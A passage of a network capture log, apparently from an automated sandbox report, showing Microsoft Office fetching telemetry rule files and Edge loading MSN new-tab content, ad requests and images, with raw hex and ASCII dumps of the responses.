T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.7	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:51 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:51 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:51 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200551Z-185f5d8b95c9mqtvhC1NYCghtc0000000av00000000076ga x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 20:05:51 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.7	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:51 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:52 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:52 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200552Z-1777c6cb754whff4hC1TEBcd6c00000008pg00000000hw8v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:52 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.7	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:52 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:52 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:52 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 2deeee2f-b01e-001e-4967-3b0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200552Z-178bfbc474bnwsh4hC1NYC2ubs00000000cg000000005ud2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 20:05:52 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.7	49860	20.1.248.118	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:52 UTC	1068	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=27F5C03F1FAA650B38E3D5021EB364FD&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=e7ff4125ed6e4850f1c9dc41cb1d05ba HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=27F5C03F1FAA650B38E3D5021EB364FD; _EDGE_S=F=1&SID=18C13228E167604F108E2715E0526145; _EDGE_V=1
2024-11-20 20:05:53 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Nov 2024 20:05:52 GMT Connection: close
2024-11-20 20:05:53 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.7	49864	104.117.182.27	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:52 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 20:05:53 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Thu, 14 Nov 2024 13:08:58 GMT X-Source-Length: 1658 X-Datacenter: westus X-ActivityId: 5207dc63-23db-47af-bb98-7b1841fb9ec3 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=277550 Expires: Sun, 24 Nov 2024 01:11:43 GMT Date: Wed, 20 Nov 2024 20:05:53 GMT Connection: close
2024-11-20 20:05:53 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.7	49865	104.117.182.27	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:52 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 20:05:53 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=409843 Expires: Mon, 25 Nov 2024 13:56:36 GMT Date: Wed, 20 Nov 2024 20:05:53 GMT Connection: close
2024-11-20 20:05:53 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.7	49866	104.117.182.27	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:52 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 20:05:53 UTC	516	IN	HTTP/1.1 200 OK Last-Modified: Sun, 10 Nov 2024 06:13:55 GMT Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G X-Source-Length: 5699 X-Datacenter: eastap X-ActivityId: 96a315e5-981f-47e5-bbfa-17d63c15ba44 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=295659 Expires: Sun, 24 Nov 2024 06:13:32 GMT Date: Wed, 20 Nov 2024 20:05:53 GMT Connection: close
2024-11-20 20:05:53 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.7	49867	104.117.182.27	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:52 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 20:05:53 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:23 GMT X-Datacenter: westus X-ActivityId: 9e7c39fd-58db-4e2c-957a-f382c8e91634 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=105783 Expires: Fri, 22 Nov 2024 01:28:56 GMT Date: Wed, 20 Nov 2024 20:05:53 GMT Connection: close
2024-11-20 20:05:53 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.7	49863	104.117.182.27	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:52 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 20:05:53 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=393093 Expires: Mon, 25 Nov 2024 09:17:26 GMT Date: Wed, 20 Nov 2024 20:05:53 GMT Connection: close
2024-11-20 20:05:53 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.7	49868	108.139.47.108	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:53 UTC	1012	OUT	GET /b2?rn=1732138119238&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=27F5C03F1FAA650B38E3D5021EB364FD&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=13A94585ddd6408dfef71121732133150; XID=13A94585ddd6408dfef71121732133150
2024-11-20 20:05:53 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Wed, 20 Nov 2024 20:05:53 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 043cf9310ff19c0e58a0b6e76877f570.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P1 X-Amz-Cf-Id: eV9pzzNqM1bTEdfUdatkOc8MpjiJtiqK3kFyNZmURr6HIRdOhD0LpQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.7	49861	13.107.246.40	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:53 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
